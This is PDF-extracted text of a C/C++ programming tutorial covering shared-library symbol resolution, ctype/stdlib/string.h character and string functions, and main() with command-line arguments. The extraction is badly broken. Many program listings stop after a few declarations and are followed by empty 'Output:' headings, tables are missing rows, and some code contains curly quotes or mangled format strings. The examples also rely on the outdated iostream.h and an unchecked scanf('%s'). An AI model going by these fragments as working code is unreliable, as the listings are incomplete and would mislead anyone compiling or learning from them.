- When the runtime linker loads a shared library, the symbols within that library have to be resolved.
Here, the order and the scope of the symbol resolution are important.
- If a shared library calls a function that happens to exist by the same name in several libraries that the
program has loaded, the order in which these libraries are searched for this symbol is critical. This is
why the OS defines several options that can be used when loading libraries.
- All the objects (executables and libraries) that have global scope are stored on an internal list (the
global list).
- Any global-scope object, by default, makes available all of its symbols to any shared library that gets
loaded.
- The global list initially contains the executable and any libraries that are loaded at the program's
startup.
- In the view of the memory management, modern OS with multitasking, normally implement dynamic
relocation instead of static.
- All the program layout in the address space is virtually same. This dynamic relocation (in processor
term it is called dynamic address translation) provides the illusion that:
▪ Each process can use addresses starting at 0, even if other processes are running, or even if the
same program is running more than one time.
▪ Address spaces are protected.
▪ Can fool process further into thinking it has memory that's much larger than available physical
memory (virtual memory).
- In dynamic relocation the address changed dynamically during every reference. Virtual address is
generated by a process (also called logical address) and the physical address is the actual address in
physical memory at the run-time.
- The address translation normally done by Memory Management Unit (MMU) that incorporated in the
processor itself.
- Virtual addresses are relative to the process. Each process believes that its virtual addresses start from
0. The process does not even know where it is located in physical memory; the code executes entirely
in terms of virtual addresses.
- MMU can refuse to translate virtual addresses that are outside the range of memory for the process for
example by generating the segmentation faults. This provides the protection for each process.
- During translation, one can even move parts of the address space of a process between disk and
memory as needed (normally called swapping or paging).
- This allows the virtual address space of the process to be much larger than the physical memory
available to it.
- Graphically, this dynamic relocation for a process is shown in Figure w.6.
www.tenouk.com Page 14 of 15
Figure w.6
1. Check the best selling C / C++, Linux and Open Source books at Amazon.com.
2. To view Windows the executable file content, you can use dumpbin tool that comes with Microsoft
Visual Studio or more powerful one is a free PEBrowse utility.
3. For Linux/Unix/Fedora you can use readelf.
www.tenouk.com Page 15 of 15
MODULE X
USING LIBRARY FUNCTIONS -
C CHARACTER AND STRING
--------------------------------------------------------------------------
MODULE 25 & 26
C++ STL - CHARACTER AND STRING
(Template based)
Abilities
Note:
- This Module presented just to show you how to use the functions in C Standard Library. Here, we
have to know which functions are readily available and which header file to be included in our
program as well as how to write the proper syntax.
- The problem encountered by programmers mostly related to data type, the number and order of the
arguments when passing them to the functions and the function return type during the function call.
- The functions used in this Module are from stdio.h, stdlib.h, string.h and ctype.h
headers.
- These functions are used heavily in programming for character and string manipulation such as text and
string search programs, from small programs, binary or linear search up to big and complex search
routines.
- In C++ these routines easily performed by the Standard Template Library (STL).
- Remember that these are not a new constructs, but just normal functions :o). Learn how to use them.
- gcc, g++ and Visual C++ compilation examples are given at the end of this Module.
X.1 Introduction
- In programming, solving the real world problems involved the numbers crunching, these numbers
including characters. Characters are the fundamental building blocks of the program.
- Every program is composed of a sequence of characters interpreted by the computer as a series of
instructions used to accomplish a task.
- A character constant is an int value represented as a character in single quotes.
- This means that the value of a character constant is the integer value of the character in the machine’s
character set.
- For example:
1. Letters.
2. Digit.
3. And various special characters such as +, -, *, /, $ and others.
- Or the set of characters lay on your keyboard. For example, every line of the following address is
strings.
"Mr. Smith"
"39, Big Picture Street"
"Smithsonian, Florida, FL"
www.tenouk.com Page 1 of 25
- Still remember the relation between array and pointers? A string in C/C++ is an array of characters
ending with the null character ('\0') and can be accessed via a pointer to the first character, as you
have learned before.
- In declaring a string, it may be assigned to either,
1. A character array or
2. A variable of type char * (pointer)
- For example:
- When declaring a character array to contain a string, the array must be large enough to store the string
and its terminating NULL character.
- The previous declaration determines the size of the array automatically based on the number of
initializer in the initializer list, which is also its initial value.
- A string can be assigned to an array using scanf. For example:
char word[20];
...
scanf("%s", word);
- The codes will assign a string to character array word[20] or string will be stored in an array word.
- Note that word is an array which is, a pointer, so the & is not needed with argument word. As you
have learned, an array name (without bracket) is a pointer to the first array element.
- Function scanf() will read characters until a space, newline, or end-of-file indicator is encountered.
- The string should be no longer than 19 characters to leave room for the terminating NULL character.
- This library includes several functions that perform useful tests and manipulations of character data.
- Each function receives a character, represented as an int or EOF as an argument.
- Character handling functions manipulate characters as integers.
- Table X.1 summarizes the functions of the character handling library, in ctype.h.
www.tenouk.com Page 2 of 25
Returns a true value if c is printing character other than a
10 int ispunct(int c)
space, a digit, or a letter and 0 otherwise.
Returns a true value if c is a printing character including
11 int isprint(int c)
space (‘ ‘), and 0 otherwise.
Returns a true if c is a printing character other than space
12 int isgraph(int c)
(‘ ‘), and 0 otherwise.
- Let explore the program examples, don’t forget to include ctype.h header file.
//Using functions isdigit(), isalpha(), isalnum(), and isxdigit()
//but using C++ :o), cout…
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;
cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";
cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";
cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a
letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a
letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a
letter\n";
cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";
system("pause");
return 0;
}
Output:
www.tenouk.com Page 3 of 25
- Program example #2:
//Using functions islower(), isupper(), tolower(), toupper()
//using C++, cout…
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
cout<<"\nAccording to islower():"<<endl;
islower('p') ? cout<<"p is a lowercase letter\n" : cout<<"p is not a lowercase
letter\n";
islower('P') ? cout<<"P is a lowercase letter\n" : cout<<"P is not a lowercase
letter\n";
islower('5') ? cout<<"5 is a lowercase letter\n" : cout<<"5 is not a lowercase
letter\n";
islower('!') ? cout<<"! is a lowercase letter\n" : cout<<"! is not a lowercase
letter\n";
cout<<"\nAccording to isupper():"<<endl;
isupper('D') ? cout<<"D is a uppercase letter\n" : cout<<"D is not a uppercase
letter\n";
isupper('d') ? cout<<"d is a uppercase letter\n" : cout<<"d is not a uppercase
letter\n";
isupper('8') ? cout<<"8 is a uppercase letter\n" : cout<<"8 is not a uppercase
letter\n";
isupper('$') ? cout<<"$ is a uppercase letter\n" : cout<<"$ is not a uppercase
letter\n";
cout<<"\nConversion...."<<endl;
cout<<"u converted to uppercase is "<<(char)toupper('u')<<endl;
cout<<"7 converted to uppercase is "<<(char)toupper('7')<<endl;
cout<<"$ converted to uppercase is "<<(char)toupper('$')<<endl;
cout<<"L converted to lowercase is "<<(char)tolower('L')<<endl;
system("pause");
return 0;
}
Output:
www.tenouk.com Page 4 of 25
- Program example #3:
//using functions isspace(), iscntrl(), ispunct(),
//isprint(), isgraph()
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
cout<<"using functions isspace(), iscntrl(),"<<endl;
cout<<"ispunct(), isprint(), isgraph()"<<endl;
cout<<"-------------------------------------"<<endl;
Output:
www.tenouk.com Page 5 of 25
X.3 String Conversion Functions
- These functions are from the general utilities library, stdlib.h header file.
- They convert strings of digits to integer and floating-point values.
- Table X.2 summarizes the string conversion functions.
- Note the use of const to declare variable nPtr in the function headers (read from right to the left as
nPtr is a pointer to a character constant).
- const declares that the argument values will not be modified during the program execution.
Table X.2: Summary of the string conversion functions of the general utilities library.
int main()
{
double dou;
dou = atof("95.0");
system("pause");
return 0;
}
www.tenouk.com Page 6 of 25
Output:
int main()
{
int i;
i = atoi("1234");
Output:
int main()
{
long newlong;
newlong = atol("123456");
Output:
www.tenouk.com Page 7 of 25
- strtod() – converting string to double with 2 arguments.
int main()
{
double p;
char *thestring = "41.2% sample string";
char *thestringPtr;
p = strtod(thestring, &thestringPtr);
Output:
int main()
{
long x;
char *thestring = "-1234567abc", *remainderPtr;
Output:
www.tenouk.com Page 8 of 25
- strtoul()- converting string to unsigned long with 3 argument program example.
int main()
{
unsigned long x;
char *thestring = "1234567def", *remainderPtr;
Output:
www.tenouk.com Page 9 of 25
int sscanf(char *s, const Equivalent to scanf() except the input is read from the array s
char *format, …) instead of reading from the keyboard.
Table X.3 : The standard input/output library character and string functions
- Program examples functions from the stdio.h, beginning with gets() and putchar().
//function prototype...
void reverse(char *);
int main()
{
//an array for storing the string...
char sentence[80];
Output:
int main()
{
char c, sentence[80];
int i = 0;
www.tenouk.com Page 10 of 25
//while iteration/loop…
while (( c = getchar()) != '\n')
sentence[i++] = c;
//insert NULL at the end of string
sentence[i] = '\0';
puts("\nThe line of text entered was: ");
puts(sentence);
system("pause");
return 0;
}
Output:
- sprintf().
//Using sprintf()
#include <stdio.h>
#include <stdlib.h>
int main()
{
char s[80];
int x;
float y;
printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
system("pause");
return 0;
}
Output:
- sscanf().
//Using sscanf()
#include <stdio.h>
#include <stdlib.h>
int main()
{
char s[] = "31298 87.375";
int x;
float y;
www.tenouk.com Page 11 of 25
printf("Using sscanf()\n");
printf("--------------\n");
sscanf(s, "%d%f", &x, &y);
printf("array, s[] = 31298 87.375\n");
printf("\n%s\n%s%6d\n%s%8.3f\n",
"The values stored in character array s are: ",
"Integer: ", x, "Float: ", y);
system("pause");
return 0;
}
Output:
Table X.4: The string manipulation functions of the string handling library
- Let explore the program examples, beginning with strcpy() and strncpy().
int main()
{
char x[] = "Yo! Happy Birthday to me";
char y[25], z[15];
www.tenouk.com Page 12 of 25
strncpy(z, x, 14);
z[14] = '\0';
Output:
int main()
{
char s1[20] = "Happy ";
char s2[] = "New Year ";
char s3[40] = " ";
Output:
- Let explore the string comparison functions, strcmp() and strncmp(), of the string handling
library. Table X.5 is the summary of the functions and follow by the program examples.
- For these sections, how the computers know that one particular letter comes before another?
- All characters are represented inside the computer as numeric codes, when the computer compares
two strings, it actually compares the numeric codes of the characters in the strings.
- There are three popular coding schemes for character representation:
www.tenouk.com Page 13 of 25
- ASCII, EBCDIC and Unicode are called character codes or character sets.
- String and character manipulations actually involve the manipulation of the appropriate numeric codes
and not the characters themselves.
- These explain the interchangeability of characters and small integers in C/C++.
Table X.5: The string comparison functions of the string handling library
int main()
{
char * s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Birthday";
Output:
- Used to search strings for characters and other strings. Table X.6 is the summary of these functions
and followed by program examples.
www.tenouk.com Page 14 of 25
Function prototype Function description
char *strchr(const char *s, Locates the first occurrence of character c in string s. If c is found, a
int c) pointer to c in s is returned. Otherwise a NULL pointer is returned.
size_t strcspn(const char Determines and returns the length of the initial segment of string s1
*s1, const char *s2) consisting of characters not contained in string s2.
size_t strspn(const char Determines and returns the length of the initial segment of string s1
*s1, const char *s2) consisting only of characters contained in string s2.
Locates the first occurrence in string s1 of any character in string s2.
char *strpbrk(const char
If a character from string s2 is found, a pointer to the character in
*s1, const char *s2)
string s1 is returned. Otherwise a NULL pointer is returned.
char *strrchr(const char Locates the last occurrence of c in string s. If c is found, a pointer to
*s, int c) c in string s is returned. Otherwise is a NULL pointer is returned.
Locates the first occurrence in string s1 of string s2. If the string is
char *strstr(const char
*s1, const char *s2) found, a pointer to the string in s1 is returned. Otherwise a NULL
pointer is returned.
//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string = "This is a test statement, testing! ";
char character1 = ‘e’, character2 = ‘z’;
Output:
//Using strcspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
www.tenouk.com Page 15 of 25
int main()
{
char *string1 = "The value is 3.14159";
char *string2 = "1234567890";
Output:
//Using strpbrk()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "This is a test statement";
char *string2 = "search";
//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "A zoo has many animals including birds";
int c = ‘m’;
www.tenouk.com Page 16 of 25
printf("\nis: %s\n", strrchr(string1, c));
system("pause");
return 0;
}
Output:
//Using strspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";
Output:
//Using strstr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *string1 = "abcdefgabcdefgabcdefg";
char *string2 = "defg";
www.tenouk.com Page 17 of 25
Output:
//Using strtok()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;
Output:
- The functions treat blocks of memory as character arrays and can manipulate any block of data.
- Table X.7 summarizes the memory functions of the string handling library; the term object refers to a
block of data.
www.tenouk.com Page 18 of 25
Function prototype Function description
Copies n characters from the object pointed to by s2 into the
void *memcpy(void *s1, const
void *s2, size_t n) object pointed to by s1. A pointer to the resulting object is
returned.
Copies n characters from the object pointed to by s2 into the
object pointed to by s1. The copy is performed as if the
void *memmove(void *s1,
const void *s2, size_t n) characters are first copied from the object pointed to by s2 into
temporary array, then from the temporary array into the object
pointed to by s1. A pointer to the resulting object is returned.
Compares the first n characters of the objects pointed to by s1 and
int memcmp(const void *s1,
s2. The function return 0, less than 0, or greater than 0 if s1 is
const void *s2, size_t n)
equal to, less than, or greater than s2.
Locates the first occurrence of c (converted to unsigned
void *memchr(const void *s, char) in the first n characters of the object pointed to by s. If c
int c, size_t n) is found, a pointer to c in the object is returned. Otherwise NULL
is returned.
void *memset(void *s, int c, Copies c (converted to unsigned char) into the first n
size_t n) characters of the object pointed to by s. A pointer to the result is
returned.
//Using memcpy()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char s1[20], s2[] = "Copying this string into s1";
Output:
//Using memmove()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char x[] = "My home is home sweet home";
www.tenouk.com Page 19 of 25
printf(" Using memmove()\n");
printf(" --------------\n");
printf("The string in array x before memmove() is: \n%s", x);
printf("\nThe string in array x after memmove() using \n");
printf("memmove(x, &x[7], 12) is:\n %s\n", memmove(x, &x[7], 12));
system("pause");
return 0;
}
Output:
//Using memcmp()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char s1[] = "ABCDEFGHIJK", s2[] = "ABCDXYZPQR";
printf("Using memcmp()\n");
printf("--------------\n");
printf("s1 = %s\n", s1);
printf("s2 = %s\n", s2);
printf("\nmemcmp(s1, s2, 4) = %2d\n", memcmp(s1, s2, 4));
printf("memcmp(s1, s2, 7) = %2d\n", memcmp(s1, s2, 7));
printf("memcmp(s2, s1, 7) = %2d\n", memcmp(s2, s1, 7));
system("pause");
return 0;
}
Output:
//Using memchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *s = "This is a test string";
char p = 'e';
printf("Using memchr()\n");
printf("--------------\n");
printf("char p = \'e\'\n");
printf("s = %s\n", s);
printf("\nThe remainder of string s, after character \'%c\'", p);
www.tenouk.com Page 20 of 25
printf("\nis found, using memchr(s, p, 15)");
printf("\nis \"%s\"\n", memchr(s, p, 15));
system("pause");
return 0;
}
Output:
//Using memset()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char string[40] = "AAAAAAAABBBBBBBBBCCCCCCCCCC";
printf("Using memset()\n");
printf("--------------\n");
printf("string = %s\n", string);
printf("string after memset(string, 'b', 15) =\n%s\n", memset(string, 'b', 15));
system("pause");
return 0;
}
Output:
- The remaining functions of the string handling library are strerror() and strlen().
- Function strerror() takes an error number and creates an error message string. A pointer to the
string is returned.
- Function strlen() takes a string as an argument, and returns the number of characters in a string, the
terminating NULL character is not included in the length.
- The functions are summarizes in table X.8.
Table X.8: The string manipulation functions of the string handling library
- Program example.
www.tenouk.com Page 21 of 25
//Using strerror()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
printf("strerror() - string errors\n");
printf("--------------------------\n");
printf("strerror(1)->%s", strerror(1));
printf("strerror(2)->%s", strerror(2));
printf("strerror(3)->%s", strerror(3));
printf("strerror(4)->%s", strerror(4));
printf("strerror(5)->%s", strerror(5));
printf("strerror(6)->%s", strerror(6));
printf("strerror(7)->%s", strerror(7));
printf("strerror(8)->%s", strerror(8));
printf("strerror(9)->%s", strerror(9));
printf("strerror(9)->%s", strerror(9));
printf("strerror(10)->%s", strerror(10));
system("pause");
return 0;
}
Output:
//Using strchr()
#include <cstdio>
#include <cstring>
int main()
{
char *string1 = "A zoo has many animals including birds";
int c = 'm';
Output:
www.tenouk.com Page 22 of 25
- For C++ character and string manipulations that use the Standard Template Library (STL), please refer
to Module 25 and 26.
- Program examples compiled using g++ (C++) and gcc (C).
//*****ctystring.cpp******
//Using sprintf()
#include <cstdio>
using namespace std;
int main()
{
char s[80];
int x;
float y;
printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n", "The formatted output stored in array s is: ", s);
return 0;
}
Using sprint()
--------------
Enter an integer and a float, separated by space:
100 33.354
int main()
{
char s1[20], s2[] = "Copying this string into s1";
memcpy(s1, s2, 17);
printf(" Using memcpy()\n");
printf(" --------------\n");
printf("s1[20] = ?\n", s1);
printf("s2[] = %s\n", s2);
printf("\nAfter s2 is copied into s1 with memcpy(),\n");
printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
return 0;
}
Using memcpy()
--------------
s1[20] = ?
s2[] = Copying this string into s1
www.tenouk.com Page 23 of 25
using memcpy(s1, s2, 17)
/*******************cstr.c**************************/
/*Using functions isdigit(), isalpha(), isalnum(), and isxdigit()*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
printf("Using functions isdigit(), isalpha(),\n");
printf("isalnum(), and isxdigit()\n");
printf("-------------------------------------\n");
printf("\nAccording to isdigit():\n");
isdigit('7') ? printf("7 is a digit\n") : printf("7 is not a digit\n");
isdigit('$') ? printf("$ is a digit\n") : printf("$ is not a digit\n");
printf("\nAccording to isalpha():\n");
isalpha('B') ? printf("B is a letter\n") : printf("B is not a letter\n");
isalpha('b') ? printf("b is a letter\n") : printf("b is not a letter\n");
isalpha('&') ? printf("& is a letter\n") : printf("& is not a letter\n");
isalpha('4') ? printf("4 is a letter\n") : printf("4 is not a letter\n");
printf("\nAccording to isalnum():\n");
isalnum('A') ? printf("A is a digit or a letter\n") : printf("A is not a digit or a
letter\n");
isalnum('8') ? printf("8 is a digit or a letter\n") : printf("8 is not a digit or a
letter\n");
isalnum('#') ? printf("# is a digit or a letter\n") : printf("# is not a digit or a
letter\n");
printf("\nAccording to isxdigit():\n");
isxdigit('F') ? printf("F is a hexadecimal\n") : printf("F is not a hexadecimal\n");
isxdigit('J') ? printf("J is a hexadecimal\n") : printf("J is not a hexadecimal\n");
isxdigit('7') ? printf("7 is a hexadecimal\n") : printf("7 is not a hexadecimal\n");
isxdigit('$') ? printf("$ is a hexadecimal\n") : printf("$ is not a hexadecimal\n");
isxdigit('f') ? printf("f is a hexadecimal\n") : printf("f is not a hexadecimal\n");
return 0;
}
According to isdigit():
7 is a digit
$ is not a digit
According to isalpha():
B is a letter
b is a letter
& is not a letter
4 is not a letter
According to isalnum():
A is a digit or a letter
8 is a digit or a letter
# is not a digit or a letter
According to isxdigit():
F is a hexadecimal
J is not a hexadecimal
7 is a hexadecimal
$ is not a hexadecimal
f is a hexadecimal
---------------------------------------------------o0o--------------------------------------------------
www.tenouk.com Page 24 of 25
1. Check the best selling C/C++ books at Amazon.com.
2. Module G (Story) and Module M (Microsoft implementation) for Multibytes, Unicode characters and
Localization.
www.tenouk.com Page 25 of 25
MODULE Y
THE main() AND COMMAND-LINE ARGUMENT
Note:
Compiled using Microsoft Visual C++ / .Net, empty win32 console mode application. Some examples also tested
using Borland C++ Builder 5.02. gcc compilation example is given at the end of this Module.
For the main() command line arguments and pointer story, please read Module 8, Section 8.9. For wide character
and Unicode wmain() please refer to Module G (Story) and Module M (implementation).
Abilities:
▪ Able to understand and use a portable main() versions and their variation.
▪ Able to understand and use programs that accept command-line arguments.
▪ Able to build programs that accept command-line arguments.
▪ Able to build programs that can run with options/switches.
- The ‘concepts’ discussed in this Module may be very useful for UNIX / Linux (or command line tools
for Microsoft Windows) programmers because of the extensive usage of the command-line programs or
tools.
- A special function called main() is the starting point of execution for all C and C++ programs. It is
not predefined by the compiler; so that, it must be supplied in the program.
- If your code adheres to the Unicode programming model, then you can use the wide-character version
of main(), wmain(), but it is implementation dependent.
- The main() function serves as the starting point for program execution. It usually controls program
execution by directing the calls to other functions in the program.
- A program usually stops executing at the end of main(), denoted by closing curly brace (}), although
it can terminate at other points in the program for a variety of reasons such as the forced program
termination by using the exit() function.
- As you have learned before, functions within the program body perform one or more specific tasks.
The main() function can call these functions to perform their respective tasks as shown in the
following program skeleton.
int main()
{
//function call…
MyFunction();
…
//another function call…
YourFunction();
…
//another function call…
OurFunction();
…
return 0;
}
- When main() calls another function, it passes execution control to the function, then, execution
begins at the first statement in the function. A function returns control to main() when a return
statement is executed or when the end of the function is reached denoted by the closing curly brace.
- If you aware, all the program examples presented in this tutorial do not have parameters in the main()
function. Actually there are others version, that you can declare main() function, to have parameters,
as any other functions but with a few exceptions.
- As explained before in Function Module, the term parameter or formal parameter refers to the
identifier that receives a value passed to a function. When one function calls another, the called
function receives values for its parameters from the calling function.
- These values are called arguments. The parameter(s) just acts as a placeholder. You can declare
parameters to main() so that it can receive arguments from the command line using the following
format:
Page 1 of 13
...
return 0;
}
- Or
- There is no prototype declared for main(), and as a conclusion, we have main() that can be defined
with zero, two, or three parameters as shown below.
int main(void)
{
//...
return 0;
}
int main(int argc, char *argv[])
{
//...
return 0;
}
//implementation dependant
int main(int argc, char *argv[], char *envp[])
{
//...
return 0;
}
- When you want to pass information to the main() function, the parameters are traditionally named
argc and argv, although for C compiler does not require these names.
- The types for argc and argv are defined by the C language. Traditionally, if a third parameter is
passed to main(), that parameter is named envp, a Microsoft extension to the ANSI C (ISO/IEC C)
standard (or env for Borland®).
- The following table lists some description of the parameters.
Parameter Description
For argument count, an integer that contains the count of arguments that
argc follows in argv. Since the program name is considered an argument,
the argc parameter is always greater than or equal to 1. Type is int.
For argument vector, an array of null-terminated strings representing
command-line arguments entered by the user of the program. All
elements of the argv array are pointers to strings. By convention,
argv[0] is the command with which the program is invoked, that is
*argv[]/**argv
the program name; then, argv[1] is the first command-line
argument, and so on, until argv[argc], which is always NULL
pointer. The first command-line argument is always argv[1] and the
last one is argv[argc–1]. All elements of the argv array are
pointers to strings. Type is char.
Is an array of pointers to environment variables. The envp array is
terminated by a null pointer. This is a Microsoft extension to the ANSI
C standard and also used in Microsoft C++. It is an array of strings
representing the variables set in the user's environment. This array is
terminated by a NULL entry. It can be declared as an array of pointers
to char(char *envp[]) or as a pointer to pointers to char(char
*envp[]
**envp). If your program uses wmain() instead of main(), use
*env(Borland®)
the wchar_t() data type instead of char. The environment block
passed to main() and wmain() is a frozen copy of the current
environment. If you subsequently change the environment via a call to
putenv() or _wputenv(), the current environment (as returned by
getenv()/_wgetenv() and the _environ()/_wenviron()
variable) will change, but the block pointed to by envp will not change.
Page 2 of 13
This argument is ANSI compatible in C, but not in C++. It is also a
common extension in many Linux/UNIX® systems.
- A program invoked with no command-line arguments will receive a value of one for argc, as the
program name of the executable file is placed in argv[0]. Strings pointed to by argv[1] through
argv[argc–1] represent program parameters.
- The simplest illustration is the echo program, which echoes its command-line arguments on a single
line, separated by blanks as shown below when you run at the command prompt of Windows Operating
System.
Hello world!
- As explained before, by convention, argv[0] is the program name by which the program was
invoked, so argc is at least 1. If argc is 1, there are no command-line arguments after the program
name.
- In the example above, argc is 3, and…
- The first optional argument is argv[1] and the last is argv[argc-1]; additionally the standard
requires that argv[argc] be NULL pointer. The explanation can be illustrated as shown below.
- The following program example is the version of echo program that treats argv as an array of
character pointers:
- Run the myecho.exe at console/command prompt where the executable program is located, to see
the output. For the following output, myecho.exe is at the C: drive.
Page 3 of 13
- Since argv is a pointer to an array of pointers, we can manipulate the pointer rather than the index of
the array.
- The next variation is based on incrementing argv, which is a pointer to pointer to char, while argc
is counted down.
- The output:
- Since argv is a pointer to the beginning of the array of argument strings, incrementing it by 1
(++argv) makes it point at the original argv[1] instead of argv[0].
- Each successive increment moves it along to the next argument; *argv is then the pointer to that
argument. At the same time, argc is decremented; when it becomes zero, there are no arguments left
to print. Alternatively we could write the printf() statement as:
- This shows that the format argument of printf() can also be an expression.
- Consider the following program example, very simple text pattern search program.
//Function prototypes...
int getline(char line[], int max);
int strindex(char source[], char searchfor[]);
Page 4 of 13
//find/display all line matching pattern
main()
{
char line[MAXLINE];
int found = 0;
- The above program named searchpattern and when the searchpattern.exe is run, the
output is shown below.
- Let change the program so that the pattern to be matched is specified by the first argument on the
command line. As an example, let create a simple program skeleton.
Page 5 of 13
#define MAXLINE 100
- The output when running the program at command prompt or where the searchpattern.exe is
located is shown below.
- And the following is the working program example of the searchpattern, using command line
argument.
Page 6 of 13
char line[MAXLINE];
int found = 0;
- The output, when running the searchpattern.exe at C: (or run it where ever the
searchpattern.exe is located):
- The standard library function strstr(a, b) returns a pointer to the first occurrence of the string b
in the string a, or NULL if there is none. It is declared in <string.h> or C++ wrapper <cstring>.
- The program skeleton can now be expanded to illustrate further the pointer constructions. Suppose we
want to allow 2 optional arguments (or switches). The first one is: to print all line except those that
match the pattern; the second one is: precede each printed line by its line number.
- For C/C++ programs on UNIX/Linux systems or Windows command line, conventionally, an argument
that begins with a minus sign introduces an optional flag or parameter, normally called switch or
option.
- For Windows, the forward slash (/) also used together with the switches. For example, if we choose –
v (for inversion) to signal the inversion, and –n (for number) to request line numbering, then the
command line:
searchpattern –v –n thepattern
- Will print each line that doesn’t match the pattern, preceded by its line number.
- Optional arguments should be permitted in any order, and the rest of the program should be
independent of the number of arguments that were present.
- Furthermore, it is also convenient for users if option arguments can be combined, as in the following
command line:
Page 7 of 13
//VC++ .Net
#include <stdio.h>
#include <string.h>
//maximum input line length
#define MAXLINE 100
- The output when running the searchpattern.exe at the command prompt C: (or run it where it is
located). For Borland 5.02, you have to run the full command line as shown below.
searchpattern –v –n test
Page 8 of 13
- The parameters argc and argv are modifiable and retain their last-stored values between program
startup and program termination.
- For wide-character, Microsoft implementation, the declaration syntax for wmain() is as follows:
int wmain( )
{
//...
return 0;
}
- Or, optionally:
- For Microsoft implementation please refer to Module G (Story) and Module M for wmain().
- For Borland®, env[] is used instead of envp[]. For UNIX/Linux, please check their documentation
:o).
- The types for argc and argv are defined by the language. The names argc, argv, and envp are
traditional, but are not required by the compiler. So, you may use other name isn’t it? Then try
yourself :o).
Page 9 of 13
- Alternatively, the main() and wmain() functions can be declared as returning void (no return
value). If you declare main() or wmain() as returning void, you cannot return an exit code to the
parent process or operating system using a return statement.
- To return an exit code when main() or wmain() is declared as void, you must use the exit()
function.
- Several restrictions apply to the main() function that do not apply to any other C/C++ functions. The
main() function compared to normal function:
▪ Cannot be overloaded.
▪ Cannot be declared as inline.
▪ Cannot be declared as static.
▪ Cannot have its address taken.
▪ Cannot be called.
- The following example shows how to use the argc, argv, and envp arguments to main():
- The output, when searchpattern.exe run at command prompt (or where ever the .exe is
located), depends on your environment setting, is shown below.
Page 10 of 13
Y.5 Parsing C Command-Line Arguments – Microsoft Implementation
- For information, Microsoft uses Microsoft C Runtime (CRT) for C codes; that is Microsoft C version.
- Microsoft C startup code uses the following rules when interpreting arguments given on the operating
system command line:
- The following list illustrates the above listed rules by showing the interpreted result passed to argv for
several examples of command-line arguments. The output listed in the second, third, and fourth
columns is from the following program example.
Command-Line
argv[1] argv[2] argv[3]
Input
"a b c" d e a b c d e
"ab\"c" "\\" d ab"c \ d
a\\\b d"e f"g h a\\\b de fg h
a\\\"b c d a\"b c d
a\\\\"b c" d e a\\b c d e
Table Y.2
//searchpattern.cpp
//compiled using VC++ .Net and Borland C++ 5.02
//run on windows machine...
#include <stdio.h>
//For VC++ .Net, comment out the above #include <stdio.h>
//and uncomment the following…
//include <cstdio>
//using namespace std;
Page 11 of 13
int count;
return 0;
}
- The output, when running the .exe, depends on your environment setting, is shown below:
- For windows system, you can put the command line program (executable programs) in the System32
folder, and then you can run it from any relative or absolute path. For Linux it is sbin or bin.
- Program example compiled using gcc.
/***************cmdline.c****************/
/***********Run on FeDorA 3 Machine********/
#include <stdio.h>
/*For C++ compiler, comment out the above #include <stdio.h>*/
/*and uncomment the following.*/
/*include <cstdio>*/
/*using namespace std;*/
return 0;
}
Environment variables:
HOSTNAME=bakawali
Page 12 of 13
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
SSH_CLIENT=::ffff:203.106.94.71 4136 22
SSH_TTY=/dev/pts/4
USER=bodo
